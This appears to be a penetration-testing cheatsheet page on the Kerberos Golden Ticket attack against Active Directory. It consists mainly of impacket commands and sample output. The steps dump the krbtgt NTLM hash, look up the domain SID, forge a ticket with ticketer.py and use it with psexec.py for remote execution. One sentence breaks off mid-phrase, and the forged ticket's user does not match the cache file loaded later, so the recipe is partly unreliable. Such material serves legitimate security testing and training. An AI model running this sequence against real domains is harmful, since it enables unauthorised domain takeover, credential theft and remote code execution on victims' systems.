# Golden Ticket

{% embed url="https://blog.netwrix.com/2022/08/31/complete-domain-compromise-with-golden-tickets/" %}

## Using mimikatz

{% embed url="https://lanzt.gitbook.io/cheatsheet-pentest/active-directory/mimikatz#golden-ticket-attack" %}

## Using impacket tools

{% embed url="https://www.picussecurity.com/resource/blog/golden-ticket-attack-mitre-t1558.001" %}

### Extract the krbtgt NTLM hash

```bash
secretsdump.py Administrator:<PASSWORD>@10.10.100.200
```

```bash
[...]
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:5508500012cc005cf7082a9a89ebdfdf:::
[...]
```

### Extract SID of Domain

```bash
lookupsid.py CONTROLLER.local/Administrator:<PASSWORD>@10.10.100.200
```

```bash
[...]
[*] Domain SID is: S-1-5-21-849420856-2351964222-986696166
[...]
```

### Generating Golden Ticket

Using the krbtgt NTLM hash, the Domain SID, the Domain Name and a&#x20;

```bash
ticketer.py -nthash "5508500012cc005cf7082a9a89ebdfdf" -domain-sid "S-1-5-21-849420856-2351964222-986696166" -domain "CONTROLLER.local" NonExistentUserBla
```

### Using ticket

```bash
export KRB5CCNAME=$(pwd)/Administrator.ccache
psexec.py CONTROLLER.local/Administrator@10.10.100.212 -k -no-pass
```
